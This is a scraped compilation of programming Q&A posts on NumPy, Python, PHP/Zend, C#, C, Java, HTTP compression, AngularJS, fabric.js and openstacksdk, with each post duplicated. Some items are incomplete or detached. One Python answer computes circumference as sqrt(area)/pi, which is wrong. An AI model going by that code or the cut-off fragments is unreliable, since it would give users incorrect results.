```<code>x1, bins, patch = plt.hist(array1, bins = round(max(array1) - min(array1)))
x1 = b + x1 + c

but the form of x1 is
x1 = [  2.   0.   0.   1.   0.   2.   5.   0.   1.   1.   0.   1.   5.]
</code>```

and maybe that cause the error like this

ValueError: operands could not be broadcast together with shapes (5,) (30,)

please help me.
  I don't know what to do

答:
You could use np.concatenate to to do this but you can also do this by converting your arrays to lists.

```<code>import numpy as np

a = list(np.array([1.2, 1, 3, 4]))
b = list(np.array([0.0 , 0.0]))
c = list(np.array([0.0 , 0.0]))
D= a + b + c
</code>```

So in you code try:

```<code>x1 = list(b) + list(x1) + list(c)

#Put it back into a numpy array
x1 = np.array(x1)
</code>```

Body:
I am trying to merge arrays like this:

If:

a = [1.2, 1, 3, 4]
b = [0.0 , 0.0]
c = [0.0 , 0.0]
a = a + b + c

Then the result should be:

[0.0 , 0.0 , 1.2 , 1 ,3 ,4 , 0.0 ,0.0]

what I do is that extract histogram of array
  and merge it with normal array.

x1, bins, patch = plt.hist(array1, bins = round(max(array1) - min(array1)))
x1 = b + x1 + c

but the form of x1 is
x1 = [  2.   0.   0.   1.   0.   2.   5.   0.   1.   1.   0.   1.   5.]

and maybe that cause the error like this

ValueError: operands could not be broadcast together with shapes (5,) (30,)

please help me.
  I don't know what to do

Body:
You could use np.concatenate to to do this but you can also do this by converting your arrays to lists.

import numpy as np

a = list(np.array([1.2, 1, 3, 4]))
b = list(np.array([0.0 , 0.0]))
c = list(np.array([0.0 , 0.0]))
D= a + b + c

So in you code try:

x1 = list(b) + list(x1) + list(c)

#Put it back into a numpy array
x1 = np.array(x1)


问:
How to find the circumference of a circle with an inputted area
I am trying to create a code that will ask the user for the area of a circle, and from that find the circumference of it.

So far I have got this code:

```<code>area = input("Please choose an area for your circle: ")
def circumference(area):
    import math
    circumference = (squareRoot(area)) / (math.pi)

print("The circumference is: ", circumference)
</code>```

When the chosen area is 60, it returns:

```<code>Please choose an area for your circle: 60
The circumference is:  <function circumference at 0x101478510>
</code>```

How can I improve my code so that it works and why it would work?

答:
You are passing in the parameter 'area' as a string. Try this...

```<code>area = int(input("Please choose an area for your circle: "))
</code>```

This is necessary as you cannot use squareRoot on a string.

Also, the area of a circle is pi * r^2 whereas the circumference is 2 * pi * r.

This means you cannot just divide the square root of the area by pi.

Instead, you need do area divided by pi to get r^2. Square root this to get r. Multiply r by 2*pi to get the circumference.

```<code>import math

def circumference(area):
    return math.sqrt(area/math.pi)*math.pi*2

area = int(input("Please choose an area for your circle: "))
</code>```

Hope this helps!

Body:
I am trying to create a code that will ask the user for the area of a circle, and from that find the circumference of it.

So far I have got this code:

area = input("Please choose an area for your circle: ")
def circumference(area):
    import math
    circumference = (squareRoot(area)) / (math.pi)

print("The circumference is: ", circumference)

When the chosen area is 60, it returns:

Please choose an area for your circle: 60
The circumference is:  <function circumference at 0x101478510>

How can I improve my code so that it works and why it would work?

Body:
You are passing in the parameter 'area' as a string. Try this...

area = int(input("Please choose an area for your circle: "))

This is necessary as you cannot use squareRoot on a string.

Also, the area of a circle is pi * r^2 whereas the circumference is 2 * pi * r.

This means you cannot just divide the square root of the area by pi.

Instead, you need do area divided by pi to get r^2. Square root this to get r. Multiply r by 2*pi to get the circumference.

import math

def circumference(area):
    return math.sqrt(area/math.pi)*math.pi*2

area = int(input("Please choose an area for your circle: "))

Hope this helps!


问:
Call Multiple Stored Procedures with the Zend Framework
I'm using Zend Framework 1.7.2, MySQL and the MySQLi PDO adapter.  I would like to call multiple stored procedures during a given action.  I've found that on Windows there is a problem calling multiple stored procedures.  If you try it you get the following error message:

SQLSTATE[HY000]: General error: 2014
  Cannot execute queries while other
  unbuffered queries are active.
  Consider using
  PDOStatement::fetchAll().
  Alternatively, if your code is only
  ever going to run against mysql, you
  may enable query buffering by setting
  the PDO::MYSQL_ATTR_USE_BUFFERED_QUERY
  attribute.

I found that to work around this issue I could just close the connection to the database after each call to a stored procedure:

```<code>if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
  //If on windows close the connection
  $db->closeConnection();
}
</code>```

This has worked well for me, however, now I want to call multiple stored procedures wrapped in a transaction.  Of course, closing the connection isn't an option in this situation, since it causes a rollback of the open transaction.  Any ideas, how to fix this problem and/or work around the issue.

More info about the work around

Bug report about the problem

答:
I has same errors when called queries like this(variables to use in next query)

```<code>$db->query("SET @curr = 0.0;");
</code>```

To fix this I've changed my config file to

```<code>'database' => array(
        'adapter' => 'mysqli',
</code>```

OwnerDisplayName: Brian Fisher

Body:
I'm using Zend Framework 1.7.2, MySQL and the MySQLi PDO adapter.  I would like to call multiple stored procedures during a given action.  I've found that on Windows there is a problem calling multiple stored procedures.  If you try it you get the following error message:

SQLSTATE[HY000]: General error: 2014
  Cannot execute queries while other
  unbuffered queries are active.
  Consider using
  PDOStatement::fetchAll().
  Alternatively, if your code is only
  ever going to run against mysql, you
  may enable query buffering by setting
  the PDO::MYSQL_ATTR_USE_BUFFERED_QUERY
  attribute.

I found that to work around this issue I could just close the connection to the database after each call to a stored procedure:

if (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') {
  //If on windows close the connection
  $db->closeConnection();
}

This has worked well for me, however, now I want to call multiple stored procedures wrapped in a transaction.  Of course, closing the connection isn't an option in this situation, since it causes a rollback of the open transaction.  Any ideas, how to fix this problem and/or work around the issue.

More info about the work around

Bug report about the problem

LastEditorDisplayName: Eddie

Body:
I has same errors when called queries like this(variables to use in next query)

$db->query("SET @curr = 0.0;");

To fix this I've changed my config file to

'database' => array(
        'adapter' => 'mysqli',

OwnerDisplayName: waney


问:
Making my integer go up by 1 every second
I'm extremely new to c# and I'm wondering how I can make a basic timer that counts up by one using an integer. So far I only have

```<code>int timer = 0;
int max = 10000;

        while ( timer < max )
        {
          timer += 1;

        }
</code>```

I'm assuming this will automatically boost the timer straight to 1000 because there's no speed set. I'm wondering how I can set a speed to this. Thank you.

答:
You can use Thread.Sleep(waitTime) within the while loop. For example, if you set the wait time to 30 seconds, your counter will increment every 30 seconds.

```<code>while ( timer < max )
        {
          // Wait for 30 seconds (since the argument is in milliseconds)
          Thread.Sleep(30 * 1000);
          timer += 1;
        }
</code>```

Body:
I'm extremely new to c# and I'm wondering how I can make a basic timer that counts up by one using an integer. So far I only have

int timer = 0;
int max = 10000;

        while ( timer < max )
        {
          timer += 1;

        }

I'm assuming this will automatically boost the timer straight to 1000 because there's no speed set. I'm wondering how I can set a speed to this. Thank you.

Body:
You can use Thread.Sleep(waitTime) within the while loop. For example, if you set the wait time to 30 seconds, your counter will increment every 30 seconds.

while ( timer < max )
        {
          // Wait for 30 seconds (since the argument is in milliseconds)
          Thread.Sleep(30 * 1000);
          timer += 1;
        }


问:
Print size of type :C
I want to print

"Size of (type) is (size of type) Byte"

 for example

"Size of int is 4Byte"

 by the code below.But it says that

"Size of int is 8Byte"

I think this code showed the size of string(int) but the type int.
How can I solve this problem?

code

```<code>#include <stdio.h>
char *variabletype[] = {"char", "unsigned char", "signed char", "int", "unsigned int", "short", "unsigned short", "long", "unsigned long", "long long", "unsigned long long"};

int main() {
    for (int i = 0; i < 11;++i) {
        printf("Size of %s is %u\n",variabletype[i], (unsigned int)(sizeof(variabletype[i])));
    }
    return 0;
}
</code>```

return

```<code>Size of char is 8Byte
Size of unsigned char is 8Byte
Size of signed char is 8Byte
Size of int is 8Byte
Size of unsigned int is 8Byte
Size of short is 8Byte
Size of unsigned short is 8Byte
Size of long is 8Byte
Size of unsigned long is 8Byte
Size of long long is 8Byte
Size of unsigned long long is 8Byte
</code>```

答:
sizeof is an operator computed at compile time. It returns a compile time constant (except for VLAs). In your code, you are always printing sizeof(char*) (which happens to be 8 on your and on my computers). Remember that an array is not the same as a pointer, even if arrays decay into pointers.

You want:

```<code>printf ("sizeof int is %zu\n", sizeof(int));
printf ("sizeof long is %zu\n", sizeof(long));
</code>```

and you might use preprocessor tricks (stringizing with #)

```<code>#define PRINTSIZE(Type) printf("sizeof " #Type " is %zu\n", sizeof(Type))
PRINTSIZE(int);
PRINTSIZE(long);
</code>```

The C language separates translation-time and run-time. Practically speaking, you are using a compiler (and sometimes even a cross-compiler). There is no eval operator in standard C.

On many operating systems, you can run another compilation process (perhaps using system or popen(3)), but how to run the compiler is system specific (on Linux, you'll often use gcc; on Windows, it probably is something else).

So in principle you could, on Linux, write a program which generates a temporary C file then uses system(3) on some computed string twice: once to run the compilation, another time to run the produced executable. But that is complex (and not portable), so is not worth your time.

Notice that, in C (and C++), types, statements, expressions, variables names, etc... are only known to the compiler and don't exist at runtime (when running you only have memory locations). The C11 standard (read n1570) mentions translation units.

Maybe you dream of some homoiconic programming language. Then don't use C, but languages like Common Lisp. Try SBCL, that Common Lisp implementation is transforming (i.e. compiling) at each REPL interaction your expression into machine code.

Title: Print size of type :C

Body:
I want to print

"Size of (type) is (size of type) Byte"

 for example

"Size of int is 4Byte"

 by the code below.But it says that

"Size of int is 8Byte"

I think this code showed the size of string(int) but the type int.
How can I solve this problem?

code

#include <stdio.h>
char *variabletype[] = {"char", "unsigned char", "signed char", "int", "unsigned int", "short", "unsigned short", "long", "unsigned long", "long long", "unsigned long long"};

int main() {
    for (int i = 0; i < 11;++i) {
        printf("Size of %s is %u\n",variabletype[i], (unsigned int)(sizeof(variabletype[i])));
    }
    return 0;
}

return

Size of char is 8Byte
Size of unsigned char is 8Byte
Size of signed char is 8Byte
Size of int is 8Byte
Size of unsigned int is 8Byte
Size of short is 8Byte
Size of unsigned short is 8Byte
Size of long is 8Byte
Size of unsigned long is 8Byte
Size of long long is 8Byte
Size of unsigned long long is 8Byte

Body:
sizeof is an operator computed at compile time. It returns a compile time constant (except for VLAs). In your code, you are always printing sizeof(char*) (which happens to be 8 on your and on my computers). Remember that an array is not the same as a pointer, even if arrays decay into pointers.

You want:

printf ("sizeof int is %zu\n", sizeof(int));
printf ("sizeof long is %zu\n", sizeof(long));

and you might use preprocessor tricks (stringizing with #)

#define PRINTSIZE(Type) printf("sizeof " #Type " is %zu\n", sizeof(Type))
PRINTSIZE(int);
PRINTSIZE(long);

The C language separates translation-time and run-time. Practically speaking, you are using a compiler (and sometimes even a cross-compiler). There is no eval operator in standard C.

On many operating systems, you can run another compilation process (perhaps using system or popen(3)), but how to run the compiler is system specific (on Linux, you'll often use gcc; on Windows, it probably is something else).

So in principle you could, on Linux, write a program which generates a temporary C file then uses system(3) on some computed string twice: once to run the compilation, another time to run the produced executable. But that is complex (and not portable), so is not worth your time.

Notice that, in C (and C++), types, statements, expressions, variables names, etc... are only known to the compiler and don't exist at runtime (when running you only have memory locations). The C11 standard (read n1570) mentions translation units.

Maybe you dream of some homoiconic programming language. Then don't use C, but languages like Common Lisp. Try SBCL, that Common Lisp implementation is transforming (i.e. compiling) at each REPL interaction your expression into machine code.


问:
Searching an arraylist for the index of an object with a specific value
I'm writing a program to take and organize class info, including the students in a class, recorded by ID and Grade. I'm able to add the students as desired, and they print as desired (so I know the entries are correct), but when I go to search for a student, the search method is only able to find the last entered student ID. Why is my search function breaking down?

The search function:

```<code>public static int studentFinder(ClassSection classOne) {
      int studentIndex = 0;
      boolean searchAgain = false;
      boolean correctStudent = false;
     do {
      studentIndex = idFinder(classOne);
        if (studentIndex == -1) {
            System.out.println("That student was not found in the class");
            System.out.println("Would you like to search again?");
                searchAgain = yesNoBool();
        } else {
            System.out.println("You have selected student ID# " +classOne.getStudentIDByIndex(studentIndex));
                System.out.println("Is this correct?");
                    correctStudent = yesNoBool();
                        if (!correctStudent) {
                            System.out.println("Would you like to search again?");
                                searchAgain = yesNoBool();
                        }
        }
     } while(searchAgain);
     return studentIndex;
  }
</code>```

ID Finder module:

```<code>public static int idFinder(ClassSection classOne) {
      int studentID = 0;
      String intString = "a Student ID to search for:";
      int studentIndex = 0;
      System.out.println("Please enter a Student ID to search for:");
        studentID = intChecker(intString);
      for (int i = 0; i < classOne.students.size(); i++) {
          int studentIdTest = classOne.students.get(i).getStudentID();
            if (studentIdTest == studentID) {
                studentIndex = i;
            } else if (studentIdTest != studentID){
                studentIndex = -1;
            }
      }
        return studentIndex;
  }
</code>```

The ClassSection class:

```<code>import java.util.*;

public class ClassSection {
    //instance variables
     protected int crnNum = 0;
     protected String deptCode = "null";
     protected int courseNum = 0;
     protected String instructMode = "null";
     protected String meetingDays = "null";
     protected String meetingTimesStart = "null";
     protected String meetingTimesEnd = "null";
     protected int classCapacity = 0;
     protected int classEnrollment = 0;
     protected int instructorID = 0;
     protected ArrayList<StudentEnrollee> students = new ArrayList<StudentEnrollee>();

    //constructors
        public ClassSection(int crnNum, String deptCode, int courseNum, String instructMode, String meetingDays,
                String meetingTimesStart, String meetingTimesEnd, int classCapacity, int classEnrollment,
                int instructorID) {
            super();
            this.crnNum = crnNum;
            this.deptCode = deptCode;
            this.courseNum = courseNum;
            this.instructMode = instructMode;
            this.meetingDays = meetingDays;
            this.meetingTimesStart = meetingTimesStart;
            this.meetingTimesEnd = meetingTimesEnd;
            this.classCapacity = classCapacity;
            this.classEnrollment = classEnrollment;
            this.instructorID = instructorID;
        }

    public ClassSection() {
        super();
        this.crnNum = 0;
        this.deptCode = "";
        this.courseNum = 0;
        this.instructMode = "";
        this.meetingDays = "";
        this.meetingTimesStart = "";
        this.meetingTimesEnd = "";
        this.classCapacity = 0;
        this.classEnrollment = 0;
        this.instructorID = 0;
    }

    //getters and setters
        public void getStudents() {
            this.students.forEach(System.out::println);
        }

        public int getStudentIDByIndex(int index) {
            return this.students.get(index).getStudentID();
        }

        public void addStudent(StudentEnrollee student) {
            this.students.add(student);
        }

        public void removeStudent(int removalIndex) {
            this.students.remove(removalIndex);
        }

        public void changeAddStudentGrade(int studentIndex, int studentGrade) {
            this.students.get(studentIndex).setStudentGrade(studentGrade);
        }

        public int getCrnNum() {
            return crnNum;
        }

        public void setCrnNum(int crnNum) {
            this.crnNum = crnNum;
        }
        public String getDeptCode() {
            return deptCode;
        }
        public void setDeptCode(String deptCode) {
            this.deptCode = deptCode;
        }
        public int getCourseNum() {
            return courseNum;
        }
        public void setCourseNum(int courseNum) {
            this.courseNum = courseNum;
        }
        public String getInstructMode() {
            return instructMode;
        }
        public void setInstructMode(String instructMode) {
            this.instructMode = instructMode;
        }
        public String getMeetingDays() {
            return meetingDays;
        }
        public void setMeetingDays(String meetingDays) {
            this.meetingDays = meetingDays;
        }

        public String getMeetingTimesStart() {
            return meetingTimesStart;
        }

        public void setMeetingTimesStart(String meetingTimesStart) {
            this.meetingTimesStart = meetingTimesStart;
        }

        public String getMeetingTimesEnd() {
            return meetingTimesEnd;
        }

        public void setMeetingTimesEnd(String meetingTimesEnd) {
            this.meetingTimesEnd = meetingTimesEnd;
        }

        public int getClassCapacity() {
            return classCapacity;
        }
        public void setClassCapacity(int classCapacity) {
            this.classCapacity = classCapacity;
        }
        public int getClassEnrollment() {
            return classEnrollment;
        }
        public void setClassEnrollment(int classEnrollment) {
            this.classEnrollment = classEnrollment;
        }
        public int getInstructorID() {
            return instructorID;
        }
        public void setInstructorID(int instructorID) {
            this.instructorID = instructorID;
        }

        //mutators
        @Override
        public String toString() {
            return String.format("Crn Number: %20s \nDept Code: %20s \nInstruction Mode: %20s"
                    + " \nCourse Number: %20s \nClass Capacity: %20s \nClass Enrollment: %20s"
                    + " \nMeeting Days: %20s \nMeeting Times: %8$20s - %9$2s \nInstructor ID: %10$20s \n" + Arrays.toString(students.toArray()).replace("[", "").replace(", S","S").replace("]", "").trim(),
                    crnNum, deptCode, instructMode, courseNum, classCapacity, classEnrollment, meetingDays,
                    meetingTimesStart, meetingTimesEnd, instructorID);
        }

}
</code>```

The student enrollee class (where the objects in the arraylist are from):

```<code>public class StudentEnrollee {
    protected int studentID = 0;
    protected int studentGrade = 0;

    public StudentEnrollee() {
        super();
        studentID = 0;
        studentGrade = 0;
    }

    public StudentEnrollee(int studentID, int studentGrade) {
        super();
        this.studentID = studentID;
        this.studentGrade = studentGrade;
    }

    //setters & getters
    public int getStudentID() {
        return studentID;
    }
    public void setStudentID(int studentID) {
        this.studentID = studentID;
    }
    public int getStudentGrade() {
        return studentGrade;
    }
    public void setStudentGrade(int studentGrade) {
        this.studentGrade = studentGrade;
    }

    @Override
    public String toString() {
        return String.format("Student ID: %20s  \nStudent Grade: %20s \n", studentID, studentGrade);
    }

}
</code>```

The intchecker and yesNoBool methods are just error checking and confirmation functions, but here they are just in case:

```<code>  public static int intChecker(String object) {
    boolean correctInput = false;
    int userInput = 0;

    while (!correctInput) {
        try {
            userInput = scanner.nextInt();
            correctInput = true;
        } catch(InputMismatchException e) {
            System.out.println("I'm sorry, that doesn't seem to be a number");
            System.out.println("Please enter " +object);
            scanner.next();
        }
    }

    return userInput;
}

  public static boolean yesNoBool() {
      String yesNo = "";
      boolean yesNoBool = false;
      System.out.println("Please enter Y/N");
        yesNo = scanner.next();
      while ((!yesNo.equalsIgnoreCase("n") && !yesNo.equalsIgnoreCase("y"))){
            System.out.println("I'm sorry, please enter Y/N");
                yesNo = scanner.next();
        }
      if (yesNo.equalsIgnoreCase("y")) {
          yesNoBool = true;
      } else if (yesNo.equalsIgnoreCase("n")) {
          yesNoBool = false;
      }

      return yesNoBool;
  }
</code>```

答:
In your idFinder method, you continue to search for the id even when you find it. In the for loop, you need to stop when you find the id.

Modify your for loop to:

```<code>public static int idFinder(ClassSection classOne) {
  String intString = "a Student ID to search for:";
  int studentIndex = -1; // Initialize the studentIndex to a negative value since 0 is a valid index
  System.out.println("Please enter a Student ID to search for:");

  int studentID = intChecker(intString);

  for (int i = 0; i < classOne.students.size(); i++) {
      int studentIdTest = classOne.students.get(i).getStudentID();
      if (studentIdTest == studentID) {
          studentIndex = i;
          break;
      }
   }
  return studentIndex;
}
</code>```

Body:
I'm writing a program to take and organize class info, including the students in a class, recorded by ID and Grade. I'm able to add the students as desired, and they print as desired (so I know the entries are correct), but when I go to search for a student, the search method is only able to find the last entered student ID. Why is my search function breaking down?

The search function:

public static int studentFinder(ClassSection classOne) {
      int studentIndex = 0;
      boolean searchAgain = false;
      boolean correctStudent = false;
     do {
      studentIndex = idFinder(classOne);
        if (studentIndex == -1) {
            System.out.println("That student was not found in the class");
            System.out.println("Would you like to search again?");
                searchAgain = yesNoBool();
        } else {
            System.out.println("You have selected student ID# " +classOne.getStudentIDByIndex(studentIndex));
                System.out.println("Is this correct?");
                    correctStudent = yesNoBool();
                        if (!correctStudent) {
                            System.out.println("Would you like to search again?");
                                searchAgain = yesNoBool();
                        }
        }
     } while(searchAgain);
     return studentIndex;
  }

ID Finder module:

public static int idFinder(ClassSection classOne) {
      int studentID = 0;
      String intString = "a Student ID to search for:";
      int studentIndex = 0;
      System.out.println("Please enter a Student ID to search for:");
        studentID = intChecker(intString);
      for (int i = 0; i < classOne.students.size(); i++) {
          int studentIdTest = classOne.students.get(i).getStudentID();
            if (studentIdTest == studentID) {
                studentIndex = i;
            } else if (studentIdTest != studentID){
                studentIndex = -1;
            }
      }
        return studentIndex;
  }

The ClassSection class:

import java.util.*;

public class ClassSection {
    //instance variables
     protected int crnNum = 0;
     protected String deptCode = "null";
     protected int courseNum = 0;
     protected String instructMode = "null";
     protected String meetingDays = "null";
     protected String meetingTimesStart = "null";
     protected String meetingTimesEnd = "null";
     protected int classCapacity = 0;
     protected int classEnrollment = 0;
     protected int instructorID = 0;
     protected ArrayList<StudentEnrollee> students = new ArrayList<StudentEnrollee>();

    //constructors
        public ClassSection(int crnNum, String deptCode, int courseNum, String instructMode, String meetingDays,
                String meetingTimesStart, String meetingTimesEnd, int classCapacity, int classEnrollment,
                int instructorID) {
            super();
            this.crnNum = crnNum;
            this.deptCode = deptCode;
            this.courseNum = courseNum;
            this.instructMode = instructMode;
            this.meetingDays = meetingDays;
            this.meetingTimesStart = meetingTimesStart;
            this.meetingTimesEnd = meetingTimesEnd;
            this.classCapacity = classCapacity;
            this.classEnrollment = classEnrollment;
            this.instructorID = instructorID;
        }

    public ClassSection() {
        super();
        this.crnNum = 0;
        this.deptCode = "";
        this.courseNum = 0;
        this.instructMode = "";
        this.meetingDays = "";
        this.meetingTimesStart = "";
        this.meetingTimesEnd = "";
        this.classCapacity = 0;
        this.classEnrollment = 0;
        this.instructorID = 0;
    }

    //getters and setters
        public void getStudents() {
            this.students.forEach(System.out::println);
        }

        public int getStudentIDByIndex(int index) {
            return this.students.get(index).getStudentID();
        }

        public void addStudent(StudentEnrollee student) {
            this.students.add(student);
        }

        public void removeStudent(int removalIndex) {
            this.students.remove(removalIndex);
        }

        public void changeAddStudentGrade(int studentIndex, int studentGrade) {
            this.students.get(studentIndex).setStudentGrade(studentGrade);
        }

        public int getCrnNum() {
            return crnNum;
        }

        public void setCrnNum(int crnNum) {
            this.crnNum = crnNum;
        }
        public String getDeptCode() {
            return deptCode;
        }
        public void setDeptCode(String deptCode) {
            this.deptCode = deptCode;
        }
        public int getCourseNum() {
            return courseNum;
        }
        public void setCourseNum(int courseNum) {
            this.courseNum = courseNum;
        }
        public String getInstructMode() {
            return instructMode;
        }
        public void setInstructMode(String instructMode) {
            this.instructMode = instructMode;
        }
        public String getMeetingDays() {
            return meetingDays;
        }
        public void setMeetingDays(String meetingDays) {
            this.meetingDays = meetingDays;
        }

        public String getMeetingTimesStart() {
            return meetingTimesStart;
        }

        public void setMeetingTimesStart(String meetingTimesStart) {
            this.meetingTimesStart = meetingTimesStart;
        }

        public String getMeetingTimesEnd() {
            return meetingTimesEnd;
        }

        public void setMeetingTimesEnd(String meetingTimesEnd) {
            this.meetingTimesEnd = meetingTimesEnd;
        }

        public int getClassCapacity() {
            return classCapacity;
        }
        public void setClassCapacity(int classCapacity) {
            this.classCapacity = classCapacity;
        }
        public int getClassEnrollment() {
            return classEnrollment;
        }
        public void setClassEnrollment(int classEnrollment) {
            this.classEnrollment = classEnrollment;
        }
        public int getInstructorID() {
            return instructorID;
        }
        public void setInstructorID(int instructorID) {
            this.instructorID = instructorID;
        }

        //mutators
        @Override
        public String toString() {
            return String.format("Crn Number: %20s \nDept Code: %20s \nInstruction Mode: %20s"
                    + " \nCourse Number: %20s \nClass Capacity: %20s \nClass Enrollment: %20s"
                    + " \nMeeting Days: %20s \nMeeting Times: %8$20s - %9$2s \nInstructor ID: %10$20s \n" + Arrays.toString(students.toArray()).replace("[", "").replace(", S","S").replace("]", "").trim(),
                    crnNum, deptCode, instructMode, courseNum, classCapacity, classEnrollment, meetingDays,
                    meetingTimesStart, meetingTimesEnd, instructorID);
        }

}

The student enrollee class (where the objects in the arraylist are from):

public class StudentEnrollee {
    protected int studentID = 0;
    protected int studentGrade = 0;

    public StudentEnrollee() {
        super();
        studentID = 0;
        studentGrade = 0;
    }

    public StudentEnrollee(int studentID, int studentGrade) {
        super();
        this.studentID = studentID;
        this.studentGrade = studentGrade;
    }

    //setters & getters
    public int getStudentID() {
        return studentID;
    }
    public void setStudentID(int studentID) {
        this.studentID = studentID;
    }
    public int getStudentGrade() {
        return studentGrade;
    }
    public void setStudentGrade(int studentGrade) {
        this.studentGrade = studentGrade;
    }

    @Override
    public String toString() {
        return String.format("Student ID: %20s  \nStudent Grade: %20s \n", studentID, studentGrade);
    }

}

The intchecker and yesNoBool methods are just error checking and confirmation functions, but here they are just in case:

  public static int intChecker(String object) {
    boolean correctInput = false;
    int userInput = 0;

    while (!correctInput) {
        try {
            userInput = scanner.nextInt();
            correctInput = true;
        } catch(InputMismatchException e) {
            System.out.println("I'm sorry, that doesn't seem to be a number");
            System.out.println("Please enter " +object);
            scanner.next();
        }
    }

    return userInput;
}

  public static boolean yesNoBool() {
      String yesNo = "";
      boolean yesNoBool = false;
      System.out.println("Please enter Y/N");
        yesNo = scanner.next();
      while ((!yesNo.equalsIgnoreCase("n") && !yesNo.equalsIgnoreCase("y"))){
            System.out.println("I'm sorry, please enter Y/N");
                yesNo = scanner.next();
        }
      if (yesNo.equalsIgnoreCase("y")) {
          yesNoBool = true;
      } else if (yesNo.equalsIgnoreCase("n")) {
          yesNoBool = false;
      }

      return yesNoBool;
  }

Body:
In your idFinder method, you continue to search for the id even when you find it. In the for loop, you need to stop when you find the id.

Modify your for loop to:

public static int idFinder(ClassSection classOne) {
  String intString = "a Student ID to search for:";
  int studentIndex = -1; // Initialize the studentIndex to a negative value since 0 is a valid index
  System.out.println("Please enter a Student ID to search for:");

  int studentID = intChecker(intString);

  for (int i = 0; i < classOne.students.size(); i++) {
      int studentIdTest = classOne.students.get(i).getStudentID();
      if (studentIdTest == studentID) {
          studentIndex = i;
          break;
      }
   }
  return studentIndex;
}


答:
You must call the function (add parenthesis), pass it the area parameter, and return the result:

You also need to cast the input to a number (here, a float)

You should use math.sqrt instead of an undefined SquareRoot function

```<code>import math                                          # place imports at the top

def circumference(area):
    circ = (math.sqrt(float(area))) / (math.pi)      #<- cast param to float, use math.sqrt
    return circ                                      #<- return the result

area = input("Please choose an area for your circle: ")
print("The circumference is: ", circumference(area)) #<- call the function with a parameter
</code>```

Alternatively, you could choose to cast the input to a float, before passing it as a parameter to the function:

```<code>import math                                          # place imports at the top

def circumference(area):
    circ = (math.sqrt(area)) / (math.pi)      #<- use math.sqrt
    return circ                                      #<- return the result

area = float(input("Please choose an area for your circle: ")) #<- cast param to float,
print("The circumference is: ", circumference(area)) #<- call the function with a parameter
</code>```

Title: How to find the circumference of a circle with an inputted area

Body:
You must call the function (add parenthesis), pass it the area parameter, and return the result:

You also need to cast the input to a number (here, a float)

You should use math.sqrt instead of an undefined SquareRoot function

import math                                          # place imports at the top

def circumference(area):
    circ = (math.sqrt(float(area))) / (math.pi)      #<- cast param to float, use math.sqrt
    return circ                                      #<- return the result

area = input("Please choose an area for your circle: ")
print("The circumference is: ", circumference(area)) #<- call the function with a parameter

Alternatively, you could choose to cast the input to a float, before passing it as a parameter to the function:

import math                                          # place imports at the top

def circumference(area):
    circ = (math.sqrt(area)) / (math.pi)      #<- use math.sqrt
    return circ                                      #<- return the result

area = float(input("Please choose an area for your circle: ")) #<- cast param to float,
print("The circumference is: ", circumference(area)) #<- call the function with a parameter


问:
GZip or Deflate for HTTP compression
Which compression method is better? I've heard lots of back and forth about GZip being more widely used, but Deflate being faster (in some instances). Is there an accepted standard on which one to use and why?</p>

答:
UPDATE

According to the latest updates to the linked question, one should use GZip. See http://www.vervestudios.co/projects/compression-tests/results

Old Answer

Deflate is better.

Title: GZip or Deflate for HTTP compression


问:
Error: $injector:undef Undefined Value in angularjs
The response of ajax is like ["99636941","74167247"]. But the values are not accepted by angularjs. The response is ok. If I declare the same response as static, then it is working properly.

```<code>app.factory("States", function(){
    var states;
    $.ajax({
        url:'php/usersList.php',
        type:'post',
        success:function(data,status)
        {
            states = data;
            console.log(states);
        },
        error:function(xhr,desc,err)
        {
            console.log(xhr);
            console.log("Details: "+ desc + "\n error:"+err);
        }
    });
    return states;
});
</code>```

答:
If we make it more simpler, You can do it the following way.</p>

```<code>app.factory("States", function($http){

 var factory={};
 factory.getStates=function($http){
  return $http({
        method:'GET',
        url:'your URL'
    });
 };
 /*similarly write as many functions as you need and then simply return the factory var*/
 return factory;
});
</code>```

Body:
The response of ajax is like ["99636941","74167247"]. But the values are not accepted by angularjs. The response is ok. If I declare the same response as static, then it is working properly.

app.factory("States", function(){
    var states;
    $.ajax({
        url:'php/usersList.php',
        type:'post',
        success:function(data,status)
        {
            states = data;
            console.log(states);
        },
        error:function(xhr,desc,err)
        {
            console.log(xhr);
            console.log("Details: "+ desc + "\n error:"+err);
        }
    });
    return states;
});

Body:
If we make it more simpler, You can do it the following way.

app.factory("States", function($http){

 var factory={};
 factory.getStates=function($http){
  return $http({
        method:'GET',
        url:'your URL'
    });
 };
 /*similarly write as many functions as you need and then simply return the factory var*/
 return factory;
});


问:
Drawing a vertical line in the center of the canvas with fabricjs?
I'm trying to draw a line in the exact center of my canvas. Right now I'm using a kind of hacky method.

```<code>// Centered Line
fabric.Image.fromURL('https://i.imgur.com/zM63v6J.png', function(myImg) {
  var img1 = myImg.set({
    left: 306,
    selectable: false,
  });
  canvas.add(img1);
});
</code>```

This gets the job done but I'm sure there's a lighter way to do this.

Any help would be greatly appreciated. Thanks in advance

答:
var canvas = new fabric.Canvas('c');
var line = new fabric.Line([canvas.width/2,0,canvas.width/2,canvas.height],{
  strokeWidth:2,
  stroke: 'red',
});
canvas.add(line);```
<pre class="snippet-code-css lang-css prettyprint-override"><code>canvas{
 border: 2px dotted black;
}</code>```

<canvas id="c" width="500" height="500"></canvas>```

You can use this line coordinate [canvas.width/2,0,canvas.width/2,canvas.height] for vertical centre line.

Body:
I'm trying to draw a line in the exact center of my canvas. Right now I'm using a kind of hacky method.

// Centered Line
fabric.Image.fromURL('https://i.imgur.com/zM63v6J.png', function(myImg) {
  var img1 = myImg.set({
    left: 306,
    selectable: false,
  });
  canvas.add(img1);
});

This gets the job done but I'm sure there's a lighter way to do this.

Any help would be greatly appreciated. Thanks in advance

Body:
var canvas = new fabric.Canvas('c');
var line = new fabric.Line([canvas.width/2,0,canvas.width/2,canvas.height],{
  strokeWidth:2,
  stroke: 'red',
});
canvas.add(line);

canvas{
 border: 2px dotted black;
}

<script src="https://rawgithub.com/kangax/fabric.js/master/dist/fabric.js"></script>
<canvas id="c" width="500" height="500"></canvas>

You can use this line coordinate [canvas.width/2,0,canvas.width/2,canvas.height] for vertical centre line.


问:
How to use the `resource_key ` and `resources_key ` in openstacksdk Resource?
How to use the resource_key and resources_key in openstacksdk Resource?

In the openstack/compute/v2/Image:

```<code>class Image(resource2.Resource, metadata.MetadataMixin):
    resource_key = 'image'
    resources_key = 'images'
    base_path = '/images'
    service = compute_service.ComputeService()

    # capabilities
    allow_get = True
    allow_delete = True
    allow_list = True
</code>```

There are resource_key,resources_keyand base_path.
is this representative the resource path like rest_framework?

